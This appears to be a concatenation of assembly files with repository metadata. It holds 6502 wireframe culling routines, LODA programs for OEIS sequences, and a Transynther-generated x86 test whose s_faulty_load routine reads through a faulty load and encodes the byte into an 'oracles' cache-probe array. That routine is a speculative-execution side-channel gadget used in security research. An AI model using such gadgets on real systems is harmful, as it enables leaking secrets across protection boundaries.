perform a clockwise orientation test for a given surface ;---------------------------------------------------------------------------------------------------------- ; ; on entry, Y is the index of the surface being tested ; ; on exit, carry is set if surface is in anti-clockwise presentation (ie. hidden) ; Y is preserved ; ; prior to calling this routine, load_next_model has stored the ; pointers to the surface data for the model into clock0/1/2 ; ; surfaces are represented as 3 points representing a triangle, presented in CW winding order ; culling is determined by detecting CCW presentation of the surface vertices in screen space ; ; cross product method: ; a = 1/2 * sum[0 to (n - 1)] of ( XiY((i+1) mod n) - X((i+1) mod n)Yi ) ; a = x0*y1 - x1*y0 ; a += x1*y2 - x2*y1 ; a += x2*y0 - x0*y2 ; a *= 0.5 ; if a > 0 then CCW ; if a < 0 the CW ; if a == 0 then back facing ; mac = sx0*sy1-sx1*sy0+sx1*sy2-sx2*sy1+sx2*sy0-sx0*sy2 ; SX0*SY1+SX1*SY2+SX2*SY0-SX0*SY2-SX1*SY0-SX2*SY1 ; alternative: ; (y1 - y0) * (x2 - x1) - (x1 - x0) * (y2 - y1) ; (a+b) (a-b) = a x a + a x -b + b x a + b x -b ; sy1*sx2-sx1*sy1-sy0*sx2+sx1*sy0-sx1*sy2-sy1*sx1-sx0*sy2+sy1*sx0 ; if positive, surface is visible ;---------------------------------------------------------------------------------------------------------- .clockwisetest ; store surface id being tested STY ls ; getcoordinates routine returns screen x in A and screen y in Y ; fetch screen coordinate for surface point 0 .clock0 LDX &8000,Y JSR getcoordinates STA x0:STY y0 ; fetch screen coordinate for surface point 1 LDY ls .clock1 LDX &8000,Y JSR getcoordinates STA x1:STY y1 ; fetch screen coordinate for surface point 2 LDY ls .clock2 LDX &8000,Y JSR getcoordinates ; now: ; x0,y0 = point 0 on the surface tri ; y1,y1 = point 1 on the surface tri ; A,Y = point 2 on the surface tri LDX#0 ; abs(x2-x0) SEC SBC x0:BCS x20p ; if x2 > x0, negate result, increment counter X SBC#0:EOR #&FF ; sets carry INX .x20p STA lmul0 ; carry is set ; abs(y1-y0) LDA y1:SBC y0:BCS y10p ; if y1 > y0, negate result, decrement counter X SBC#0:EOR #&FF ; sets carry DEX .y10p STA lmul1 ; ; abs(y2-y0) TYA:LDY#0 SBC y0:BCS y20p SBC#0:EOR #&FF:INY .y20p STA rmul0 ; abs(x1-x0) LDA x1:SBC x0:BCS x10p SBC#0:EOR #&FF:DEY .x10p STA rmul1 ; X contains 1,0, or 255 for the x2-x0 and y1-y0 test ; Y contains 1,0, or 255 for the y2-y0 and x1-x0 test ; 1 or 255 if just one test was less than the other ; 0 if both tests were less than the other ; 0 if both tests were greater than the other ; compare the results from both tests STX cnt CPX#1 ; set carry if X >= 1 (ie. not zero) TYA EOR cnt ; 1 eor 0 = 1, bit 0 set ; 0 eor 255 = 255, bit 0 set ; 1 eor 1 = 0, bit 0 clear ; 1 eor 255 = 254, bit 0 clear ; if bit 0 is clear, compute full outer product AND #1:BEQ compare ; otherwise: ; preserve Y and return ; carry bit is set = surface is hidden/CCW LDY ls RTS ; if X = 0, carry is clear, both terms are positive ; .compare BCC bothpos ; JSR multiply LDY lhs:CPY rhs ; carry set if rhs >= lhs LDA lhs+1:SBC rhs+1 ; preserve Y and return LDY ls RTS .bothpos SEC JSR multiply LDY rhs:CPY lhs LDA rhs+1:SBC lhs+1 ; preserve Y and return LDY ls RTS ;---------------------------------------------------------------------------------------------------------- ; outer/cross product multiplication ;---------------------------------------------------------------------------------------------------------- ; inputs: ; lmul0, lmul1 contain 1st two terms (8-bit values) ; rmul0, rmul1 contain 2nd two terms (8-bit values) ; returns: ; lmul0 * lmul1 in lhs (16-bits) ; rmul0 * rmul1 in rhs (16-bits) ;---------------------------------------------------------------------------------------------------------- .multiply { LDY lmul1:TYA LDX lmul0:STX lmul1 SBC lmul0:BCS mabsl SBC#0:EOR #&FF .mabsl TAX LDA(lmul0),Y:SBC SQUARETABLE1_LSB,X:STA lhs LDA(lmul1),Y:SBC SQUARETABLE1_MSB,X:STA lhs+1 LDY rmul1:TYA LDX rmul0:STX rmul1 SBC rmul0:BCS mabsr SBC#0:EOR #&FF .mabsr TAX LDA(rmul0),Y:SBC SQUARETABLE1_LSB,X:STA rhs LDA(rmul1),Y:SBC SQUARETABLE1_MSB,X:STA rhs+1 RTS } ;---------------------------------------------------------------------------------------------------------- ; Initialise the line visibility array based on culling preference ;---------------------------------------------------------------------------------------------------------- .resetvisibility { ; use culling value to reset the lines array ; if culling is on, they are reset to zero (and line visibility set to surface visibiity) ; if culling is off, they are all set to 255 (and line visibility is forced) LDA culling EOR #&FF TAY ; reset the 64-bit line visibility array STY line STY line+1 STY line+2 STY line+3 STY line+4 STY line+5 STY line+6 STY line+7 RTS } ;---------------------------------------------------------------------------------------------------------- ; Determine the minimum set of lines to be rendered for the current model based on currently visible surfaces ;---------------------------------------------------------------------------------------------------------- ; inputs - ; (lines) points to the lines data block for this model ; surfs contains 16-bit array of visible surfaces ; outputs - ; line[] contains 64-bit array of visible lines to be rendered ; surfs >>= nsurfs ;---------------------------------------------------------------------------------------------------------- ; given the list of visible surfaces ; set a bit in the 64-bit output array (ZP "line") array for each line ; that is associated with the visible surface ; 8 bits x 8 bytes = 64 bits, or 64 lines per object ; in this way, lines are only ever drawn once, even if shared across surfaces ;---------------------------------------------------------------------------------------------------------- .hiddenlineremoval { LDY #0 LDX nsurfs ; for y=0; y<nsurfs; ++y ; if visible ; line[] |= model.lines[surface] ; (OR the 8 byte array of line bits set for this surface) .loopC ; surfs >>= 1 (low bit into carry) ; if low bit was set, surface is not visible LSR surfs+1:ROR surfs:BCS nosurf IF WIREFRAME LDA(lines),Y:ORA line:STA line:INY LDA(lines),Y:ORA line+1:STA line+1:INY LDA(lines),Y:ORA line+2:STA line+2:INY LDA(lines),Y:ORA line+3:STA line+3:INY LDA(lines),Y:ORA line+4:STA line+4:INY LDA(lines),Y:ORA line+5:STA line+5:INY LDA(lines),Y:ORA line+6:STA line+6:INY LDA(lines),Y:ORA line+7:STA line+7:INY ELSE LDA(lines),Y:EOR line:STA line:INY LDA(lines),Y:EOR line+1:STA line+1:INY LDA(lines),Y:EOR line+2:STA line+2:INY LDA(lines),Y:EOR line+3:STA line+3:INY LDA(lines),Y:EOR line+4:STA line+4:INY LDA(lines),Y:EOR line+5:STA line+5:INY LDA(lines),Y:EOR line+6:STA line+6:INY LDA(lines),Y:EOR line+7:STA line+7:INY ENDIF DEX:BPL loopC RTS ; skip to lines entry for the next surface .nosurf TYA:ADC#7:TAY DEX:BPL loopC RTS } ;---------------------------------------------------------------------------------------------------------- ; surface index to 16-bit bitmask ; lookup table ;---------------------------------------------------------------------------------------------------------- ; used by hiddensurfaceremoval routine to convert a surface id to a bitfield for use with surfs array ; supports maximum 16 surfaces ; SM: could ALIGN 32 this table to ensure no page boundary cycle hits, but might waste a few bytes and not sure its worth the memory/speed tradeoff. .bits ; lsb table for surface ID[0-7] EQUB 1,2,4,8,16,32,64,128 EQUD 0:EQUD 0 ; msb table for surface ID[8-15] EQUD 0:EQUD 0 EQUB 1,2,4,8,16,32,64,128
34.714286
148
0.591364
50fb00947b5c16812dcf09ed8468819ade1addd3
315
asm
Assembly
programs/oeis/213/A213083.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/213/A213083.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/213/A213083.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A213083: Each square n^2 appears n^2 number of times. ; 1,4,4,4,4,9,9,9,9,9,9,9,9,9,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,36,36,36,36,36,36,36,36,36,36,36,36,36 mov $1,1 mov $2,3 lpb $0,1 add $1,$2 trn $0,$1 add $2,2 lpe
28.636364
191
0.622222
70e13e3fa60fc003718df679d08c55c4efde1c80
2,548
asm
Assembly
programs/oeis/217/A217200.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/217/A217200.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/217/A217200.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A217200: Number of permutations in S_{n+2} containing an increasing subsequence of length n. ; 2,6,23,78,207,458,891,1578,2603,4062,6063,8726,12183,16578,22067,28818,37011,46838,58503,72222,88223,106746,128043,152378,180027,211278,246431,285798,329703,378482,432483,492066,557603,629478,708087,793838,887151,988458,1098203,1216842,1344843,1482686,1630863,1789878,1960247,2142498,2337171,2544818,2766003,3001302,3251303,3516606,3797823,4095578,4410507,4743258,5094491,5464878,5855103,6265862,6697863,7151826,7628483,8128578,8652867,9202118,9777111,10378638,11007503,11664522,12350523,13066346,13812843,14590878,15401327,16245078,17123031,18036098,18985203,19971282,20995283,22058166,23160903,24304478,25489887,26718138,27990251,29307258,30670203,32080142,33538143,35045286,36602663,38211378,39872547,41587298,43356771,45182118,47064503,49005102,51005103,53065706,55188123,57373578,59623307,61938558,64320591,66770678,69290103,71880162,74542163,77277426,80087283,82973078,85936167,88977918,92099711,95302938,98589003,101959322,105415323,108958446,112590143,116311878,120125127,124031378,128032131,132128898,136323203,140616582,145010583,149506766,154106703,158811978,163624187,168544938,173575851,178718558,183974703,189345942,194833943,200440386,206166963,212015378,217987347,224084598,230308871,236661918,243145503,249761402,256511403,263397306,270420923,277584078,284888607,292336358,299929191,307668978,315557603,323596962,331788963,340135526,348638583,357300078,366121967,375106218,384254811,393569738,403053003,412706622,422532623,432533046,442709943,453065378,463601427,474320178,485223731,496314198,507593703,519064382,530728383,542587866,554645003,566901978,579360987,592024238,604893951,617972358,631261703,644764242,658482243,672417986,686573763,700951878,715554647,730384398,745443471,760734218,776259003,792020202,808020203,824261406,840746223,857477078,874456407,891686658,909170291,926909778,944907603,963166262,981688263,1000476126,1019532383,1038859578,1058460267,1078337018,1098492411,1118929038,1139649503,1160656422,1181952423,1203540146,1225422243,1247601378,1270080227,1292861478,1315947831,1339341998,1363046703,1387064682,1411398683,1436051466,1461025803,1486324478,1511950287,1537906038,1564194551,1590818658,1617781203,1645085042,1672733043,1700728086,1729073063,1757770878,1786824447,1816236698,1846010571,1876149018,1906655003,1937531502 mov $2,$0 mov $3,$0 lpb $0 lpb $0 sub $0,1 add $4,$2 lpe lpb $4 add $2,1 add $1,$2 sub $4,1 lpe add $1,1 lpe lpb $3 add $1,1 sub $3,1 lpe add $1,2
110.782609
2,270
0.854396
c797b967fea4f173f15ce64e4e95765330f35289
4,933
asm
Assembly
Transynther/x86/_processed/NC/_zr_/i7-8650U_0xd2_notsx.log_7955_837.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NC/_zr_/i7-8650U_0xd2_notsx.log_7955_837.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NC/_zr_/i7-8650U_0xd2_notsx.log_7955_837.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r14 push %r15 push %rbp push %rcx push %rdx lea addresses_A_ht+0x1a125, %r10 nop nop nop sub $95, %rbp movw $0x6162, (%r10) nop nop nop and $11729, %rcx lea addresses_UC_ht+0xbf25, %r15 nop nop xor $63680, %r14 vmovups (%r15), %ymm0 vextracti128 $0, %ymm0, %xmm0 vpextrq $0, %xmm0, %rdx xor $62376, %rbp pop %rdx pop %rcx pop %rbp pop %r15 pop %r14 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r14 push %r15 push %rax push %rdi push %rsi // Store mov $0x325, %rdi nop nop nop nop add $55174, %rsi mov $0x5152535455565758, %r11 movq %r11, %xmm5 vmovups %ymm5, (%rdi) inc %rdi // Store lea addresses_normal+0x18c25, %r11 sub %r15, %r15 mov $0x5152535455565758, %rsi movq %rsi, %xmm1 vmovups %ymm1, (%r11) nop nop nop nop cmp %rsi, %rsi // Faulty Load mov $0xe77610000000f25, %r11 nop nop nop and %r14, %r14 movups (%r11), %xmm2 vpextrq $0, %xmm2, %r15 lea oracles, %r14 and $0xff, %r15 shlq $12, %r15 mov (%r14,%r15,1), %r15 pop %rsi pop %rdi pop %rax pop %r15 pop %r14 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 16, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_P', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}} {'00': 7955} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
46.537736
2,999
0.659234
c004d162705fe4f68d0ee57a0691c51d982c7112
383
asm
Assembly
programs/oeis/194/A194386.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/194/A194386.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/194/A194386.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A194386: Numbers m such that Sum_{k=1..m} (<1/2 + k*r> - <k*r>) > 0, where r=sqrt(10) and < > denotes fractional part. ; 1,2,3,4,5,7,8,9,10,11,13,14,15,16,17,19,20,21,22,23,25,26,27,28,29,31,32,33,34,35,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75 mov $2,$0 div $0,5 lpb $0 mov $0,6 lpe add $0,1 add $0,$2
34.818182
200
0.613577
2ab7fa49e1f6fa361dd62e3b7a211eceff18fb01
562
asm
Assembly
Labs/Lab4_Sum-Multiplication-Arrays/3-4-sum-n/sum_n.asm
CristianCotovanu/IOCLA
94bc8b092beae8ddba76d95617e7eb5b8cef52f5
[ "MIT" ]
2
2019-11-18T15:56:21.000Z
2020-01-18T01:22:37.000Z
Labs/Lab4_Sum-Multiplication-Arrays/3-4-sum-n/sum_n.asm
CristianCotovanu/IOCLA
94bc8b092beae8ddba76d95617e7eb5b8cef52f5
[ "MIT" ]
null
null
null
Labs/Lab4_Sum-Multiplication-Arrays/3-4-sum-n/sum_n.asm
CristianCotovanu/IOCLA
94bc8b092beae8ddba76d95617e7eb5b8cef52f5
[ "MIT" ]
null
null
null
%include "io.inc" section .data num dd 100 print_format1 db "Sum(", 0 print_format2 db "): ", 0 section .text global CMAIN CMAIN: push ebp mov ebp, esp mov ecx, [num] ; Use ecx as counter for computing the sum. xor eax, eax ; Use eax to store the sum. Start from 0. add_to_sum: add eax, ecx loop add_to_sum ; Decrement ecx. If not zero, add it to sum. mov ecx, [num] PRINT_STRING print_format1 PRINT_UDEC 4, ecx PRINT_STRING print_format2 PRINT_UDEC 4, eax NEWLINE leave ret
18.733333
67
0.631673
58b136140d11c6109e01c799aa8149aad855661a
2,379
asm
Assembly
unused/develop/obj/scene_9_actors.asm
pau-tomas/gbvm
c2c7a93a42f6e3168b013c93c4a3bd1c9e8b989b
[ "MIT" ]
33
2020-12-27T11:53:23.000Z
2022-02-19T23:05:12.000Z
unused/develop/obj/scene_9_actors.asm
pau-tomas/gbvm
c2c7a93a42f6e3168b013c93c4a3bd1c9e8b989b
[ "MIT" ]
2
2020-12-10T16:53:53.000Z
2022-01-31T21:42:01.000Z
unused/develop/obj/scene_9_actors.asm
pau-tomas/gbvm
c2c7a93a42f6e3168b013c93c4a3bd1c9e8b989b
[ "MIT" ]
6
2021-04-18T08:09:16.000Z
2022-01-31T21:52:24.000Z
;-------------------------------------------------------- ; File Created by SDCC : free open source ANSI-C Compiler ; Version 4.1.4 #12246 (Mac OS X x86_64) ;-------------------------------------------------------- .module scene_9_actors .optsdcc -mgbz80 ;-------------------------------------------------------- ; Public variables in this module ;-------------------------------------------------------- .globl _scene_9_actors .globl ___bank_scene_9_actors ;-------------------------------------------------------- ; special function registers ;-------------------------------------------------------- ;-------------------------------------------------------- ; ram data ;-------------------------------------------------------- .area _DATA ;-------------------------------------------------------- ; ram data ;-------------------------------------------------------- .area _INITIALIZED ;-------------------------------------------------------- ; absolute external ram data ;-------------------------------------------------------- .area _DABS (ABS) ;-------------------------------------------------------- ; global & static initialisations ;-------------------------------------------------------- .area _HOME .area _GSINIT .area _GSFINAL .area _GSINIT ;-------------------------------------------------------- ; Home ;-------------------------------------------------------- .area _HOME .area _HOME ;-------------------------------------------------------- ; code ;-------------------------------------------------------- .area _CODE_255 .area _CODE_255 ___bank_scene_9_actors = 0x00ff _scene_9_actors: .db #0x00 ; 0 .dw #0x0660 .dw #0x07c0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x0f ; 15 .db #0xf8 ; -8 .db #0x07 ; 7 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x07 ; 7 .db #0x01 ; 1 .db #0x00 ; 0 .db #0x00 ; 0 .db 0x00 .db 0x00 .db 0x00 .db 0x00 .db 0x00 .db 0x00 .db 0x00 .db 0x00 .db 0x00 .db 0x00 .db 0x00 .db 0x00 .db 0x00 .db 0x00 .db 0x00 .db 0x00 .byte ___bank_spritesheet_0 .dw _spritesheet_0 .byte ___bank_script_s9a0_interact .dw _script_s9a0_interact .byte #0x00 .dw #0x0000 .byte #0x00 .dw #0x0000 .byte #0x00 .dw #0x0000 .byte #0x00 .dw #0x0000 .dw #0x0000 .db #0x00 ; 0 .db #0x01 ; 1 .dw #0x0000 .dw #0x0000 .area _INITIALIZER .area _CABS (ABS)
23.79
57
0.374947
9b1d36eadb0e54ed7e9a51426f06c2d0154a992c
5,096
asm
Assembly
Driver/Printer/DotMatrix/Epson24/Pizza/epson24inkjetInfo.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Driver/Printer/DotMatrix/Epson24/Pizza/epson24inkjetInfo.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Driver/Printer/DotMatrix/Epson24/Pizza/epson24inkjetInfo.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) Berkeley Softworks 1990 -- All Rights Reserved PROJECT: PC GEOS MODULE: Epson 24-pin driver FILE: epshi24inkjetInfo.asm AUTHOR: Tsutomu Owa REVISION HISTORY: Name Date Description ---- ---- ----------- Owa 1/94 Initial revision DESCRIPTION: This file contains the device information for the Toshiba InkJet 4 printer Other Printers Supported by this resource: $Id: epson24inkjetInfo.asm,v 1.1 97/04/18 11:53:25 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ;---------------------------------------------------------------------------- ; Toshiba InkJet Printer ;---------------------------------------------------------------------------- inkjetInfo segment resource ; info blocks PrinterInfo < ; ---- PrinterType ------------- < PT_RASTER, BMF_MONO >, ; ---- PrinterConnections ------ < IC_NO_IEEE488, CC_NO_CUSTOM, SC_NO_SCSI, RC_NO_RS232C, CC_CENTRONICS, FC_FILE, AC_NO_APPLETALK >, ; ---- PrinterSmarts ----------- PS_DUMB_RASTER, ;-------Custom Entry Routine------- NULL, ;-------Custom Exit Routine------- NULL, ; ---- Mode Info Offsets ------- offset inkjetlowRes, offset inkjetmedRes, NULL, ; High resolution mode is deleted because of bug #32895 ; offset inkjethiRes, offset printerFontInfo:lq800draft, offset printerFontInfo:lq800nlq, ; ---- Font Geometry ----------- offset inkjetfontGeometries, ; ---- Symbol Set list ----------- NULL, ; ---- PaperMargins ------------ < 39, ; Tractor Margins 29, ; 39, ; 66>, ; < 15, ; ASF Margins, 5.08mm 24, ; 8.5mm 15, ; 5.08mm 57>, ; 15mm + 5mm ; ---- PaperInputOptions ------- < MF_MANUAL1, TF_NO_TRACTOR, ASF_TRAY1 >, ; ---- PaperOutputOptions ------ < OC_NO_COPIES, PS_NORMAL, OD_SIMPLEX, SO_NO_STAPLER, OS_NO_SORTER, OB_NO_OUTPUTBIN >, ; 1191, ; paper width (points). 420mm NULL, ; Main UI ASF1BinOnlyOptionsDialogBox, ; Options UI PrintEvalASF1BinOnly ; eval routine address > ;---------------------------------------------------------------------------- ; Graphics modes info ;---------------------------------------------------------------------------- inkjetlowRes GraphicsProperties < LO_RES_X_RES, ; xres LO_RES_Y_RES, ; yres LO_RES_BAND_HEIGHT, ; band height LO_RES_BUFF_HEIGHT, ; buffer height LO_RES_INTERLEAVE_FACTOR, ;#interleaves BMF_MONO, ;color format NULL > ; color format inkjetmedRes GraphicsProperties < MED_RES_X_RES, ; xres MED_RES_Y_RES, ; yres MED_RES_BAND_HEIGHT, ; band height MED_RES_BUFF_HEIGHT, ; buffer height MED_RES_INTERLEAVE_FACTOR, ;#interleaves BMF_MONO, ;color format NULL > ; color format ;inkjethiRes GraphicsProperties < HI_RES_X_RES, ; xres ; HI_RES_Y_RES, ; yres ; HI_RES_BAND_HEIGHT, ; band height ; HI_RES_BUFF_HEIGHT, ; buffer height ; HI_RES_INTERLEAVE_FACTOR, ;#interleaves ; BMF_MONO, ;color format ; NULL > ; color format ;---------------------------------------------------------------------------- ; Text modes info ;---------------------------------------------------------------------------- ;need to add geometries in ascending pointsize, grouped by font inkjetfontGeometries FontGeometry \ < FID_DTC_URW_ROMAN, 8, offset inkjet_8ptpitchTab >, < FID_DTC_URW_ROMAN, 12, offset inkjet_12ptpitchTab >, < FID_DTC_URW_SANS, 8, offset inkjet_8ptpitchTab >, < FID_DTC_URW_SANS, 12, offset inkjet_12ptpitchTab > word FID_INVALID ;table terminator inkjet_8ptpitchTab label byte byte TP_15_PITCH byte TP_PROPORTIONAL ;"table Terminator" inkjet_12ptpitchTab label byte byte TP_20_PITCH byte TP_17_PITCH byte TP_12_PITCH byte TP_10_PITCH byte TP_6_PITCH byte TP_5_PITCH byte TP_PROPORTIONAL ;"table Terminator" inkjetInfo ends
33.526316
80
0.447802
105392ea645bfa67231bd70b900118dd26753ae8
970
asm
Assembly
programs/oeis/140/A140153.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/140/A140153.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/140/A140153.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A140153: a(1)=1, a(n) = a(n-1) + n^3 if n odd, a(n) = a(n-1) + n^1 if n is even. ; 1,3,30,34,159,165,508,516,1245,1255,2586,2598,4795,4809,8184,8200,13113,13131,19990,20010,29271,29293,41460,41484,57109,57135,76818,76846,101235,101265,131056,131088,167025,167059,209934,209970,260623,260661,319980,320020,388941,388983,468490,468534,559659,559705,663528,663576,781225,781275,913926,913978,1062855,1062909,1229284,1229340,1414533,1414591,1619970,1620030,1847011,1847073,2097120,2097184,2371809,2371875,2672638,2672706,3001215,3001285,3359196,3359268,3748285,3748359,4170234,4170310,4626843,4626921,5119960,5120040,5651481,5651563,6223350,6223434,6837559,6837645,7496148,7496236,8201205,8201295,8954866,8954958,9759315,9759409,10616784,10616880,11529553,11529651,12499950,12500050 mov $3,$0 add $3,1 mov $4,$0 lpb $3 mov $0,$4 sub $3,1 sub $0,$3 mov $2,3 add $2,$0 add $0,1 mod $2,2 mul $2,2 mov $5,1 add $5,$2 pow $0,$5 add $1,$0 lpe mov $0,$1
44.090909
697
0.74433
fa59c47dc292b5740eb409e1f374ea17d55d385c
5,129
asm
Assembly
